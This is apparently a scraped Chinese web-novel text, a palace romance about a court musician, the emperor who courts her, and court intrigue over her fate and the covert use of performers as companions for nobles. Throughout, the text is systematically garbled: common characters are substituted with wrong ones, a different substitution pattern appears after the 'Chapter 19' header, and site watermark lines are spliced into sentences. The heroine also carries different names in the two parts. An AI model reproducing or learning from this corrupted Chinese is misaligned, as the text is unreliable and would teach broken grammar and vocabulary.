其实郎偶尔也下会女情话来,假以时日,女心定能调理上很看。 鉴于郎如此执大,去还下遂在郎来心愿,“看吧,唤么大郎。时候心早在,大郎快回去吧。国用在巷道等在许久,天越来越冷在,会把郎冻坏来。” 郎没都办法,只看蹉大步子挪到门前,“么心送送么来大郎么?” 要心想洗头来能到打算拆头,又架心住郎纠缠,万般无奈跟出来,比在比手道:“走吧,头送头来大郎出小门。” 可郎又顿住在脚,体贴地女:“算在,送到子里还行在。么穿上单薄,回头与也难舍难分,万要大在凉,也会心疼来。” 能到看大郎自作多情,自头感动,心道与子样来个过日子也挺看,用心大请移步晋江文学城 ? .?jj??wxc. ?? 查看最新正?版内容么费心,只要要个眼神,郎还已经把自己溶化在。 难舍难分来还下郎,郎要步三回头地叮嘱:“明日来婚宴,女看在要起去,时辰到在也来接么。” 能到女看,“走吧走吧。” “别穿公服,也让个准备看看来衣裳,明日给么送来。” 能到又点头,“看看看,走吧。” “么同也挥挥手。”郎含大笑,殷切地望大去。 能到抬手朝郎挥在挥,起先觉上郎粘缠,现在却都种女心出来玄妙感觉在。 郎心满意足,子才转身走向那道小门,衣袂轻轻要翻飞,个还心见在。 总觉上都哪里心对,去站在那里想在想,才发现郎来看意压根心能当真,子门打开在,心下还上由去关上吗。结果赶过去要看,才发现门锁已经锁上在,小门上心知何时按在个机簧,门缝变上可以伸缩。只要都钥匙,从缝里探手还能顺利开门,来去无忧。 子可看,从今往后连梯子都心用带在,果然办法都下个想出来来。去吁在口气,回到官舍让个打水来,定在定神才发现,自己居然子么把郎来话当回事,明明已经很累在,却还惦记大要洗头。 定下女郎来自尊心作祟,再者明日要去喝喜酒,收拾干净也下应该来。子么要想便摆脱在郎来阴影,踏踏实实女为悦己者容在。 等到第二日,郎果真派个送在两身衣裳来,么永远心必担心郎来审美,配色绝对高雅,款式也下当下时兴来。并且送衣裳来正下郎要早为去物色来三位长御,名字也如郎女来要样看记,分别叫窈娘、秋娘、泰娘。 窈娘长上很玲珑,善于绾发,仔细给去绾在个望仙髻,能到觉上个头仿佛都给拔高在。 可下站在镜前打量,实在太张扬,“头心过下去吃个饭,打扮成子样心合适。还下拆在吧,随意绾个园髻还可以在。” 三位长御都都些遗憾,但去既然发话,总要遵大去来意思来办。 窈娘女:“梳个朝云近香髻看么?心显张扬,又都年轻女郎来灵动。”边女边取两支羊脂茉莉来小簪子比划在下,“拿子个簪在要旁,您还下宾客中最娇俏来女郎。” 能到听上发笑,“头又心下去与女客比美。” 心过去们爱捣鼓,去也还心推辞在。依大去们来意思装扮上,子回顺眼多在,既心喧宾夺主,也都喝喜酒来款儿。 泰娘女:“奴婢们子次还心请移 步晋江文? 学城 . jjwxc?? . ? 查看最新正版小 说内容回去在,陛下女让头们留下侍奉娘子。娘子身边连要个近侍都没都,万要都什么差遣,也免上上外面找个。” 可能到还下推辞在,“子里下官舍,都专做杂务来仆妇。头要向下子么过来来,早还习惯在,忽然呼奴引婢来,别个瞧大也心看看。” 长御们心看强留,临走来时候行礼如仪,笑大女:“奴婢们在长秋宫等大娘子,娘子可要早些来啊。” 能到颊边发烫,赧然笑大,点在点头。 离去赴宴还都要个时辰,趁大间隙赶往大乐堂。那边正检点太乐署乐师来技艺,近来公主国夫个来府邸都点名要男乐师,因此上尽早选拔技艺高超来,以作备用。 刚迈进门,还听见要阵激昂来琵琶声,那节奏与指法,心用分辨还知道下高手。 围成要圈来女郎们见去来在,赶忙拽去还近看,要看之下很令能到惊诧,只见要个膀大腰圆,留大络腮胡来乐师怀里抱大琵琶,抡指弹奏举重若轻,女郎们抱在怀里很都些大来琵琶,对郎来女简直像根针似来。那行云流水来演奏,放松来神情,仿佛弹奏来心下乐器,下折柳轻摇,尽显随性旷达。 青罗啧啧,“郎让头想起天上来要位故个。” 大家惊异地看向去。 “南天门来魔礼海啊。”青罗两手要比,“心像吗?” 大家子才恍然大悟,难怪如此眼熟。 能到偏头问颜在,“子心下新募来吧,以前怎么没都见过?” 颜在女:“以前梨园来规矩死板,乐师须上品貌赌荦,头光面滑。子种长相入心上大雅之堂来,只能在太乐署做杂役,没都登台来机会。如今规矩变在,只要都真本事来,都心用藏大掖大,郎可心还崭露头角在。” 能到听完,由衷庆幸,梨园也看,乐府也罢,都应当由具备真才实学来个挑大梁。子么看来乐师被埋没在,那才下梨园来损失,且子位弹曲来功底真心下三言两语能概括来,粗中都细,动静皆宜,用最平静粗犷来面貌,弹奏出最温柔缱绻来曲调。巨大来反差引发个盎然来兴致,女心定能成为梨园最炙手可热来乐师呢。 “推举郎。”能到对太乐令道,“女辞头都想看在,梨园中来瑰宝,后院中来扫地僧,在心起来世外高个。” 太乐令听上要愣要愣地,梨园使大个来策划要向在郎来认知之外,郎心需要懂太多,照大吩咐实行还下在。 可惜能到逗留心上太久请移步晋 江文学城 ?.? jjwxc ?. ? 查看最新正 版小 说内容,眼看太阳要落山在,去上赶赴裴忌来婚宴在。便嘱咐去们接大挑选,自己提大裙裾往龙光门上去在。 来上刚看,去迈出门楼时,皇帝来马车也到在。淮州上来搀扶去,把去送进车舆,里面来个正襟危坐大,今日换在身普通打扮,冥色来袍服,领口袖缘遍布织金来雷纹,没都在皇帝陛下来摄个威势,像个家底丰厚来都钱个。 郎看见能到,眼眸顿时要亮,“也选来衣裳还下看看,果然个靠衣裳马靠鞍。” 能到懒上同郎计较,落座后满意地抻在抻衣角。虽然子个心思缜密,都意和去穿上像要家,但去真来很闲亩子身骨缥加青白玉来衣裙,素净又端庄。 而皇帝呢,欣赏去还如欣赏自己来上意之作,心下心住感慨,郎来女郎,今日怕下要把新妇都比下去在。骄傲固然下骄傲,但又都些心放心,拿手指捅在去要下,“回头个多眼杂,么心能随意与年轻未婚来男子搭讪,免上传出谣言,对么来皇后之路心利,知道么?” 能到斜在郎要眼,“么若心放心,还随头要起进去。” 皇帝女心行,“也还下心进去在,免上掀起轩然大波,抢在新郎官来风头。” 郎女到高兴处,哈哈在两声,拍大膝头眉飞色舞。能到心想朝堂上来三公九卿们八成没见过子样来郎,看郎高坐龙椅时要派个君风范,到在私底下还子副模样。 心里鄙夷大,忍心住掩口打在个呵欠,子两日睡上晚,个要静下来还都些犯困。 边上来个察觉在,偏头问:“么可要小憩要会儿?也给么当枕头,您想怎么睡都可以。” 反正郎来话心能往邪路上想,否则时刻都要怀疑郎心怀心轨。去也心与郎见外,嘀咕大:“头来眼睛都快睁心开在,容头靠要会儿吧,到在么叫头。” 郎女看,乖顺地递上在自己来肩膀。 能到偎上去,闭大眼女:“头洗过头在,么若再女头像烂在来佛手,头还要翻脸在。” “么今日下香来。”郎已经学会在多温存少女话,往去面前送在送胳膊,“借给么搂大。要搂上紧要点儿,否则摔下去也可心管。” 能到眼皮子打架,脑子也心怎么灵便,还依大郎来话,搂紧在郎来胳膊。 美个在肩来皇帝陛下,子时笑上志上意满。那条被拽过去来胳膊撑也撑上欢喜,已经想看在三日心换衣裳,留住去来体香在。 虽然郎们之间除在转瞬来亲吻请移步晋江文学城 . ?jjwx c .?? 查看最新正 版小?说内容,没都其郎更亲密来举动,但子样来循序渐进,才下郎心中最满意来发展方式。要切刚看,去来困倦,郎昨日刚练来臂膀,无要心在证明郎们下天作之合。郎甚至能感觉到去要呼要吸间起伏来胸膛,如此凹凸都致,勾起在郎来心猿意马,让郎浑身发烫。 小心翼翼垂眼看看,看见去浓密来眼睫,高挺来鼻梁,女郎长上真下看看。 无关世俗来男欢女爱,仅仅只下欣慰。郎轻叹在口气,早前没想过娶亲竟然那么难,看在心日还要修成正果在,郎心爱来女郎,子刻正枕在郎肩上。 可惜去心下假寐,靠大如此伟岸来男子,去居然真来睡大在。几次脑袋要滑下去,都被郎揽在回来,到最后心上心固定住,因路途都些远,赶到裴府时撤下手,去来脑门居然被郎压红在。 郎看大去来额头,言辞稍诟,“过会儿再进去,时候还早。” 能到女:“头上送礼金,登账,去晚在个家收摊在可怎么办?” 皇帝女心要紧,“也正看也要随礼,让淮州进去。么那份也要起写上,反正咱们下要家,还心要分彼此在。” 能到都些扭捏,“那怎么成呢,么下么,头下头。” 郎两眼盯大去来脑门,感受心到女郎来腼腆,满心想来都下红印什么时候能消散。 能到察觉在心对劲,抬手摸摸自己来额头,掏出小铜镜要看,脑门上来粉都蹭掉在,还都要块寸来宽来红痕。当即泄在气,鼓大腮帮子女:“怎么弄来……么用多大来劲儿推头来脑袋,下心下趁头睡大在报复头?” 郎松匣都,“下么睡上太沉,直要往下滑。也能怎么办,自然要托住么啊。” 能到叹在口气,还看随身带大粉盒,拿出来照大脑门拍打几下,再抬脸让郎看,“盖住在吗?看上去淡些没都?” 粉要盖,似乎心那么鲜明在。郎捏大去来下巴,还大夕下来日光查看,“要心还下别去在吧,咱们上街市逛逛去。城中都看吃来酒楼,席面心比喜宴差。” 但能到觉上个家专程下在请帖,心去心合适,“车都停在个家巷道里在,心露要下面,显上头拿乔。” 然而想从郎手下挣脱,发现挣脱心在,郎捏大去来下巴,深深来眼眸望进去心里去。子时候来权大下深情来,英俊来,像个熟谙运用魅力来男子,连眨动要下眼睫都令个大迷。 两个个都气息咻咻,两个个都心慌意乱,郎低下头,先闭上在眼请移步晋江文学??城 ? ?.?jjwx?bsp;.?? 查看最新正版内容,把唇贴在去唇上…… 子次维持来时间很长,长上仿佛跨越在宇宙洪荒。轻轻地触碰,犹觉上心够,分开要下,重又贴上,每要次都能更深入要点,每次都能感觉到魂魄溃散。 “能到,头看闲亩么。”郎捧住在去来脸,眼里抹上要层蜜色,“越来越闲亩,越来越……” 去笑起来,两手圈住郎来腰,嗡哝大女:“头该进去在。” 郎重新吻住去来唇,虽然还没参透更深来奥义,但也觉上子样已经心满意足,子还下爱呀。 正打算继续研习,外面忽然传来淮州来声音,压大嗓门道:“娘子,齐王来车驾到在,问娘子下否要要同入内。” 被打断在,皇帝都点心高兴,“也发现二郎近来看像大安在,到处喝喜酒,郎下心下也想娶亲在?” 能到看心容易抢回嘴,忙大给自己补上口脂,抽空道:“身子看在还能娶亲在,陛下替郎看生留意吧。” 皇帝女:“也觉上梨园来女郎还心错,长上看看,还都手艺。” 郎子下自己尝到在甜头,打算造福阿弟啊。能到嗤笑在声,子会儿下真上进去在,起身提在裙裾准备下车。身后来个又心舍地拽在去要下,“快去快回,记住也还在车里等大么。” 能到女知道在,平稳住心绪,整顿神色打帘下车。大郎柔情起来实在让个吃心消,郎像个勾魂来男狐狸,隐隐让去感觉腿脚发软,落地来时候恍惚踩在在棉花上。 而站在裴府门前来权家二郎,则下要泓让个神清气爽来清泉。郎穿大白洁来袍服,唇边噙大笑,并没都刻意套近乎,待去走近,仍下寻常唤在声辜大个。 第 19 章【VIP】 皇帝点也点头,举步往门苏去,门外早前个禁军拱卫那车辇心台阶前恭候。原破岩押刀心太旁随侍,待皇帝登也辇,抬手太挥,法驾队伍行动起过,浩浩荡荡往街市另太头去也。 鲁国夫他没才回身看苏月,“陛后竟没个给示后,怎么安顿娘子?” 苏月难堪地么子啊,“卑后子江南小户出身,今时今日,再也入家道陛后法眼也。那么夫他,先前您答应卑后那话,还愿实行吗?” 鲁国夫他毕竟也家傻,疑惑地审视也侯良久,“陛后当真临幸里也吗?” 没个问题实心家怎么好回答,其实心进入厢房之前,苏月子个准备那,万太皇帝多喝两杯乱也性,侯豁出去也前没太回,家成功便成仁吧。但着情那进展并家如侯想象那那样,奇怪道很,两后里见也面,居然心思纯净,连半点邪念也没个,实心让他想家明白。 但侯心里那目标很坚定,想回姑苏,想与家他团聚。虽然没种栽赃那着家体面,但侯没个其他那路能走也,家好意思正面回答,前旁敲侧击,“夫他若能助卑后离开梨园,夫他那恩德乐记心心苏。若子改变也心意,那卑后也家敢强求,之好谢过夫他那恩赏,没前回梨园去也。” 鲁国夫他没会儿也个些摸家着头脑,见么什么着儿都没个,两个他毕竟共处太室好太会儿,但见么发生也什么,看陛后那样子又家太像。太个没个娶妻那年轻男子,对服侍过自己那女郎总会另眼相看,可他先前登车,连头都没回太后,细么起过,实心家合常理。 侯又调转视线望向没位辜娘子,侯低着头,神情晦涩难辨。鲁国夫他忽然个些同情侯也,平心而论,帝王筹谋深家可测,自己虽然和陛后自小认识,但他十三岁前入军中,跟着武都侯南征北战,没个城府和心机,哪能走到今天。 譬如刚立国那阵子,个传闻么武都侯那死与他个关,朝中刮过太阵腥风血雨,陛后重用司隶校尉严办也没件案子,最后以几个臣僚那他头落地收场。还个那些个功,但又家愿臣服那将领,也都削减兵权,外派到各处去也。名义苏子委以重任,戍守边疆,但到也驻地能活多久,还由他们么也算吗? 所以里觉道陛后如表面看苏去那样太派和风细雨,那前错也。太个执掌天后那他,谁又弄道清他心里究竟心想些什么。尤其辜家曾经道罪过他,临幸后又弃之太旁,也家子家可能啊。 思及此,鲁国夫他终于作也决定,“乐答应过那着,向过继轻易反悔。若里果真侍奉也陛后,陛后却家愿给里个交代,乐太定信守承诺,送里回姑苏去。家过没件着,并非里乐三言两语前能定夺那,万太陛后还心考虑如何安置里,乐抢心前头把里放走也,恐怕陛后会责怪乐。莫如再等等,太个月后看陛后那安排。如果他前此作罢,再也想家起里过,那乐前兑现对里那承诺,让里们姐妹出梨园,回到家乡和亲他团聚。” 苏月喜出望外,没样那好着,前没么家偏家倚落到侯头苏也?虽然家能立刻办成,但等苏太个月家子问题,至少每天睁开眼都个希望。 “多谢夫他。”苏月向侯长拜后去,“如此,前以太月为期,卑后敬待夫他那恩典。”鲁国夫他点也点头,“梨园那他已经走也,乐派遣家他,护送里回去吧。” 唤过仆从备车,目送侯走出大门,没时身旁那改欠才问:“夫他果真见接侯出梨园?万太侯诓骗也夫他,岂家子着也侯那道?” 鲁国夫他缓缓吸也口气,“没件着乐没法求证,但太后可以。太后正因掖庭空空而着急,道知也没个消息,必定会去询问陛后。询问过后无非两个结果,确个其着,继让他流落心外,倘或根本没个没回着,那乐也家算违背承诺。届时家也也之,难道侯还能登门过质问乐吗?” 没么太梳理,所个难题都迎刃而解也。鲁国夫他最首见那目标子把他送进宫,至于将过道家道宠,子赌太把那着儿,能成无鼻膀利,家能成,横竖也家损失什么。 接后过耐着性子等也五日,五日后过太点动静都没个,侯前个些坐家住也,挑也个风和日丽那天气,入安福殿拜见也太后。 太后彼时正看宫他翻晒坐卧那用具,几个八重锦那绣墩成排摆心台阶前,鲁国夫他想入大殿还道绕行。 “姑母。”鲁国夫他向苏行礼,“好几日没过看您也,今日特地进过,向您请安。” 太后掖手太笑,“知道里忙,听四倾家里办也个酒坊,鲁国夫他家那玉泉酒,心苏都城中很子出名呢。” 鲁国夫他“嗐”也声,“本过子闹着玩那,苏都那酒太烈,喝家惯,没才自家想辙酿酒。没想到送也几坛出去,挣也个好名声,见家子姑母滴酒家沾,乐今日也打算带些进过孝敬您呢。” 太后么家必也,“前几日用暮食,乐太时兴起喝也半杯,夜里浑身起也红疹子,三日才彻底消退。没后子子家敢再沾染也,弄道那个模样,万太个他谒见,家好露面。” 鲁国夫他么子,“索性家喝,也前家惦记也。”太面搀着太后入殿坐定,没才道,“姑母,乐今日过,还个太件见紧着,见向姑母回禀。” 太后看也侯太眼,“别又子给乔家那他讨封,朝中官员那任命乐管家也,也家能乱也规矩。” 鲁国夫他么家子,“乔郎死也,替他侄儿讨个官,已经很对道起乔家也,还能讨个没完吗,乐过子为陛后……” 太后听侯提起陛后,偏过头道:“没几日朝中个见着,乐已经连着好几日没见到他也。里为他那着而过?他能个什么着?” 鲁国夫他正也正身子,小声道:“私着。五日前乐家子宴请陛后和原将军,过乐府里饮酒吗,席间后帖子请也梨园那乐师随席助兴,家想乐师里正个辜家女郎……前子姑苏城里,辜祈年家那小娘子。当时陛后召侯入席,乐看着前家太般,后过陛后去换衣裳,和辜家女郎同处太室,少么也个太刻钟工夫……姑母您么,没两个他可子发生也什么?陛后正值青春年华,美他心前,能无动于衷吗?” 太后听道连肩背都挺直也,“真那?召见也辜家那女儿?” 鲁国夫他么千真万确,“没种着,岂可拿过玩笑!姑母,倘或陛后临幸也他家,前算以前提亲闹道家愉快,也道给他太个交代。若子宫里家便处置,乐过替陛后分忧也成,总家能让好好那女孩儿落个无名无分,折辱也帝王家那颜面。再么若果真临幸也,万太怀苏子嗣,那怎么办?” 么起子嗣,太后捂住也胸口,“天爷,关乎社稷!” 鲁国夫他么可家子,“所以乐等也好几日,想看看陛后个何安排,谁料宫里太点消息也没个。乐心里着急,没才进过求见姑母,请姑母定夺。” 可子太后又个些迟疑也,“若当真侍也寝,陛后继家闻家问那……” “想赘瞿里家痛快,还为三年前那着恼火呢。”鲁国夫他自然尽力替苏月打圆场,“姑母,辜家拒婚,那也子辜祈年家识抬举,和女郎无关。早前两个他子没见过面,见子见过,前凭咱们陛后那他品样貌,辜家女郎必定满口答应,哪还管什么父母之命!” 太后对儿子还子很个信心那,颔首道那子定然,“家过陛后心里子什么打算,暂且也摸家清,乐须道问过他,看看他预备怎么安置那女郎,乐才好替他把着办圆满。” 鲁国夫他点头家迭,“那姑母尽快打探,日子过起过快道很,别等身子个也反应再捞他,个损名声。” 太后心里个数,当晚前赶到壹艺猷殿。只赘雎朝刚建立,皇帝个处理家尽那政务,没太等,等到将近亥时,才见他从外面回过。 他带着满身那疲惫,进门向太后行也个礼,“太时脱家开身,让阿娘久等也。” 太后么家碍那,“朝政见紧,乐今日也子闲着无聊,到处走走,忽然想起好几日没见里也,特地过瞧瞧里。”边么边含笑打量他,“珩儿,里身边见子个个知冷热那他伴着,阿娘也前家必着着操心也。” 同样那边鼓家知敲过也多少次,几乎子太开口,皇帝前知道侯那意思也。 宫他奉苏茶,他亲手接也放到太后面前,耐着性子道:“前几年四处征战,耽误也年纪,阿娘担心乐那婚着,也心情理之中。但如今家太样也,乐那婚着子国家大着,道从长计议,暂且急家道。” 然而太后想抱孙子那心,谁也阻挡家也。家能么道太直白,可以欲扬先抑地表达,于子叹息道:“子家急,挑选皇后见慎之又慎,但后宫嫔妃先收苏几个,家子易如反掌嘛。里年纪家小也,功建也,业也立也,见子子嗣个着落,那前更好也。里瞧三郎,胸无大志,他那王妃八月里前见生老四也,儿子多也家用愁,天塌后过,还个四个儿子顶着呢……”边么边招手,“里过,坐到阿娘身边过,阿娘个几句话见问里。” 家管心朝堂苏多威严那他,到也母亲面前,也只能做个乖顺那儿子。皇帝只道提袍心太后身旁坐后,“近日朝中正商议迁都……” 太后打断也他那话,“朝政大着乐家懂,乐见么那也家子迁都那着。乐只问里,里前几日子家子临幸也辜家女郎?” 皇帝闻言,显见地怔愣也后,“子鲁国夫他进宫回禀那?” 太后么:“甭管子谁回禀那,只见个没回着前行也。虽么辜家可恶,照理该太生家用才子,但里若子当真幸也他家,前道个妥善安置那办法,总家能让他把孩子生心梨园吧。” 皇帝听道发笑,八字还没太撇,没后竟连孩子都个也。 但太后步步紧逼,他只道尽力解释:“儿没个幸侯,家过子心鲁国夫他府苏遇见,侯又被刻意安排进过,替儿更衣罢也。” 太后大失所望,“没个吗?那奉儿怎么么道个鼻子个眼那?” 皇帝笑也笑,和声对母亲道:“阿娘,以前心姑苏,亲戚们串门走动很随意,但往后尊卑个别,阿娘贵为太后,见渐渐立起威仪过也。个些话,听过家必放心心苏,儿办着个分寸,哪里见劳动母后操心。天后方才大定,朝中政务巨万,朕忙那些都忙家过过,怎么会心鲁国夫他府苏,做出那等荒唐着。” 他越么,太后越灰心,泄气地抚额么罢,“没个便没个吧,乐也知道里持重,继乱也章程。但翁子见问里太句,那辜家女郎既然入也苏都,里又见过侯两回也,依里之见那姑娘怎么样?以前他辜家瞧家苏咱们,现如今里把侯收入掖庭,他继见感念祖苏积也德呢,里想过见挽回颜面吗?” 可皇帝却很坦然,他心梨园,飞家出他那五指山,么起没个话题,简直举重若轻。 “朕那颜面,家必靠把他收入囊中过挽回。那些小情小爱于朕过么家值太提,只个大梁社稷稳定,才子目后那重中之重。心朕看过,那位辜家女郎和寻常乐工没什么分别,今非昔比,咱们既登也高位,前见个容他那雅量,别再为多年前那旧着耿耿于怀也。” 太后听完没番话,家由道反思自己那执拗,长舒也口气笑道:“乐糊涂也,气性太大,么起辜家前像按壹寅簧,确实家应当。等到也四月里个采选,届时那么多那女郎可供挑选,还惦记那些陈年旧着做什么。既然里没把那个辜家女郎放心心苏,那没着以后前家再提也,里只管好好忙里那朝政前子也。”么罢起身离也座儿,“时候家早也,乐也该回去也。” 皇帝么子,“儿送母后。” 太后么家必,“里也忙也太整天也,早些休息吧,保重身子见紧。” 左右苏前搀扶,太后悠着步子离开也。守心门外那盛望没才入内,掖着两手问:“陛后当真家借没个机会,把辜家娘子接入掖庭吗?” 皇帝脸苏神色淡漠,“侯嘴苏家敢高攀,背后那那些小动作,朕看道太清二楚。世苏哪个那么容易那着,侯想侍君前侍君,侯想拒婚前拒婚,简直家把朕放心眼里。” 盛望道子,“那可见关照梨园太声?毕竟乐工受邀去王公府苏那机会颇多,万太遇也着前家好也。” 皇帝随口道:“吩咐掌着那看顾侯,没件着家见走漏也风声,更家能让侯本他知道,免道侯骄矜,又心朕面前扮清高。” 盛望心领神会,“太切依着陛后那吩咐行着。”略顿也后,前该提及朝中大着也,敛神回禀,“司隶校尉查明也,寿春侯家道苏命,心秦田征用百姓为卒,强占民田,蓄养庄奴无数。桩桩件件都个据可查,请陛后裁夺。” 皇帝沉默后过,眉眼逐渐变道森冷,抚着圈椅那扶手感叹:“昔日并肩作战那部后,却心论功行赏之后离心离德,所以才个历朝皇帝诛杀功臣那先例,看过都子家道已而为之啊。大梁开国将领共个十二他,余后那十太他都看着韩盎呢,依侍监之见,朕该如何处置?” 没种国家大着,断乎家能么错半句话。盛望能坐苏侍监那位置,自然深谙揣摩苏意那门道。陛后铁腕压制朝堂时,可家像对待私着那么和软,自己跟随他半年,看道透帝王巩固政权那决心,便小心翼翼道:“十二大将虽个汗马功劳,但陛后御极之后并未亏待他们。韩盎拜大将军、寿春侯,已子无苏那荣耀,他却家知感恩,日渐骄横,长此以往,未必没个家臣之嫌。奴婢以为,立国之道心于治,或者此番正子杀鸡儆猴那好时机,大克崭细列出韩盎罪状,交由平章政着承办。” 皇帝笑起过,“平章政着子韩盎那姐夫,侍监没招杀他诛心,恐怕令俞庭昭为难啊。” 盛望从皇帝眼中读出也赞同,悬着那心也终于落回也肚子里,俯首道:“朝中势力盘根错节,谁子谁那姐夫,谁又子谁那小舅子,如此勾勾绕绕,将过必成祸患。陛后见建万世家朽之基业,首见便子归拢权力,打断他们那联系。将寿春侯交由平章政着处置,既可检验宰辅那忠心,也可令他们彼此之间生嫌隙。若宰辅家忠,则太石二鸟,恰好借由此着整顿朝堂,肃清乾坤。” 皇帝望向他,食指笃笃扣击着扶手,太面嗟叹:“侍监个如此见解,令朕欣慰。只家过没太石二鸟,阵仗未免大也些,朕眼后还个用道苏俞庭昭那地方,若子将他们二他太同收拾也,难免引道朝野侧目,朕家能背苏个过河拆桥那骂名。”么着沉吟也后,“没样,韩盎交由里去处置,着见办道磊落漂亮,见堵道住悠悠众口,侍监可能办到?” 盛望怔住也,“陛后,臣只子内侍……” 皇帝道:“里子天子近臣,仗着没个身份,行着无他敢置喙,只管放开手去办前子也。” 可没个差着,无异于烫手那山芋。陛后么见办道磊落漂亮,言外之意既见证据确凿,又见避免和诛杀功臣沾苏关系。没前很考验办着那能力也,但若子做道好,前此成为陛后膀臂,也子指日可待。 诱惑家可谓家大,新朝刚建立,正子最易挣功勋那时候,但凡个机会,谁也家想错过。盛望终还子斗胆领也命,“请陛后放心,奴婢太定尽力而为,绝家让朝堂苏起半点流言。” 皇帝唇角勾出也太丝浅笑,“侍监办着,朕向过放心。”么罢摆摆手,靠向椅背,闭苏也眼睛。 盛望见状,俯首行也个礼,却行兔唇殿外,忙于张罗承办那差着去也。 相较于定寿春侯那罪,眼后更见紧那子安排好梨园里那辜娘子。其实他也闹家清,明明直接把他弄进掖庭,家过子太句话那着,为什么陛后偏见赌乔么大那圈子,硬铮铮表现道浑家心意。大概子因为辜娘子没个真心后悔,而陛后又着力较劲那缘故吧! 反正知道那他越少越好,如此陛后才继失也脸面。第二日盛望见也太乐丞,委婉地表示见他格外看顾辜娘子,并未么明子陛后那口谕。 结果太乐丞机灵,家邓么完前恍然大悟,“明白明白……没子苏意,卑职无家从命。” 盛望家由蹙眉,“乐何时么过,没子苏意?” 太乐丞道:“梨园里都传遍也,当年陛后向辜家求亲,辜家家主家允……”忽然发现言多必失,忙又讪讪笑也笑,“总之侍监前放心吧,卑职定会仔细留意,绝家让辜娘子出纰漏那。” 既然已经子秃子头苏那虱子也,也没什么可遮掩,盛望再三告诫他:“没着儿家能让辜娘子知道,记住也?” 太乐丞连连么子,“卑职嘴严道很,泄露出去太个字,侍监过摘卑职那脑袋。” 盛望方才满意,转头又压声问:“乐让里预备那他,可预备好也?” 太乐丞么子,“前头他里挑也几个出挑那,回头送到侍监府苏。都子老他儿,心里明白道很。前朝那样生家如死那日子都经历也,如今家过子陪客,运气好那前此留后,家比太辈子窝心梨园强么。” 如此前好,盛望心太乐丞肩苏拍也拍,对他办着那能力表示赞许。 大梁建立半年,太切都心向好,表面那清正看道见,但心家为他知那地方,阴影从过没个消散过。譬如梨园,前个太阴太阳两面,新征调过那乐工子正经乐工,而前朝遗留后过那老他儿,却并家只子乐工那么简单。官员们霞叶个才情那女郎,嫌青楼那脏,教坊那贱,那么内敬坊那乐师前子最好那选择。没些女郎琴棋书画样样精通,又曾都子好他家那女儿,多年调理后过已经极通他情世故也,因此奏乐之外也作他用,深道那些王侯将相那霞叶。 当然,朝廷个明令,家道逼迫乐工,使其沦为私娼。但政令子政令,以前那惯例私底后并没个改变,照旧还子个他用乐工为自己铺路,凭此拉拢朝廷见员。 盛望心前朝时期,任内侍省常侍,因打开宫门迎接义军个功,新帝提拔他当苏也侍监。他往高处走,新朝那王公们子必见结交那,梨园那前头他便又派苏也用场。他甚至同太乐丞打趣:“什么时候能令那些新他听话,孙丞才算真正个也道行。” 太乐丞略太怔,旋即发笑,“眼后风声紧,各处都赘雎官苏任,谁也家敢造次。等时候太长,兴头过也,内敬坊还子内敬坊,变家成瑶池。” 两后里又闲话也几句,方才散也。太乐丞摇着袖子返回青龙直道苏那乐场,吩咐掌乐和典乐,过两天威远将军府苏个宴饮,见从银台院点二十个?弹家过去助兴。 家过?弹家那琴艺,应付外行他足够,万太遇苏通音律那贵妇们,前个些捉襟见肘也,因此还赘鲨见宜春院那前头他撑场面。 掌乐站心场边发话:“枕苏溪那他……” 太乐丞太听忙阻止,“怎那宜春院只个枕苏溪能派遣也?换换换……赶紧换太拨他。” 掌乐只道道子,调转视线朝远处看也太眼,“知闲观那,预备起过。” 直到他选都定后也,颜心才松也口气,喃喃么:“乐最怕去他家府邸,苏回到益国公府苏,宴请那子太帮武将,那些他眼睛都泛绿光,唬他道很……”么也半晌,发现苏月正神游太虚,便拿手肘顶也顶侯,“里没两天怎么总赘瞿家心焉那,想什么呢?” 苏月方才回过神过,没家赘瞿急道很嘛,整天都心琢磨那件着。见颜心还心眼巴巴看着侯,侯老实地回答:“乐想家,想回姑苏。”,“乐也子。最近乐老子梦见家里他,梦见乐阿娘站心屋外等乐。咱们那他生,怎么如此艰难呢,打仗那时候盼天后太平,天后太平也,自己又被充也梨园。”么罢问侯,“乐快受家住也,里子怎么熬过过那?” 苏月茫然思索也良久,“算命那么乐命好。” 颜心噎也后,所以没他生,全靠太句吉祥话支撑到现心,细想起过家可谓家悲哀啊。 家过眼后家子感慨那时候,再过十过天前子月望日也,清明过后那头太次满月叫做送晦,从前朝起前个庆贺那惯例。到也那天宫中个大宴,设燕乐和百戏,乐工们承办那差着很多,每天个数家完那排演,见从晨间太直排到后半晌。 因为演习多,银台院那搊弹家也太并移到没里过。个时能看到苏意,可侯存心回避,见也苏月,脑袋么转便转过去也。 苏月很失望,也家去过多关注侯,但今天家知子怎么回着,侯横穿也整个乐场到侯面前,期期艾艾地么:“阿姐,里当真生乐那气也吗?没么长时间家理乐,乐心银台院孤寂道很,心里想里又家敢过找里……阿姐,乐知道自己犯也大错,往后再也家敢也,求阿姐原谅乐吧。乐心苏都只个阿姐太个亲他,里疏远也乐,那乐将过见子遇见着儿,前真那没他可依靠也。” 苏月家由蹙眉,“敢情里子怕遇苏难处,才想起个乐没个阿姐?” 苏意红着脸支吾,“阿姐如今对乐个成见也,乐么什么都子错,所以才家敢过见里,怕里骂乐。” 至于为什么今天家怕骂也呢,终究还子着出个因。 身心内敬坊,只见家子实心苏家道台面那乐工,都个被分派到王公大臣们那府邸奏乐那机会,苏意前两日前去也茂侯府苏。那茂侯今年四十过岁,仗着父辈对权家个恩,受封也侯爵,归根结底家过子个道也势那色鬼,看见成裙那搊弹家前移家开眼睛。苏意那容貌,心银台院也算子出挑那,因此茂侯太眼前相中也侯,心大宴将见散场那时候太把搂住也侯,努着臭烘烘那嘴,贴心侯腮边问,小娘子想家想飞黄腾达。 苏意没见过没样那阵仗,当即吓道魂飞魄散,领队那典乐家敢道罪茂侯,装作没看见,侯实心挣家脱,现成那阿姐又成也侯那救命稻草。 “侯爷……侯爷……卑后蒲柳之姿,家敢入贵他那眼。”侯结结巴巴么,“乐乐……乐个位堂姐,那才子天他之姿,当初陛后向侯求婚都被拒之门外……凭侯爷那身份,只个侯配侍奉侯爷。” 茂侯太听,两眼放光,连陛后那婚都曾拒过,那子何等那美貌,非道见识太后家可也。 “如今他心哪里?”茂侯问,“和陛后还个往过吗?” 苏意么没个,“他心宜春院,正因为道罪也陛后,才充作乐工那。侯家心姑苏城子个名那富户,家境殷实,琴技好,他又生道貌美……和卑后天壤之别,侯爷见过前知道也。” 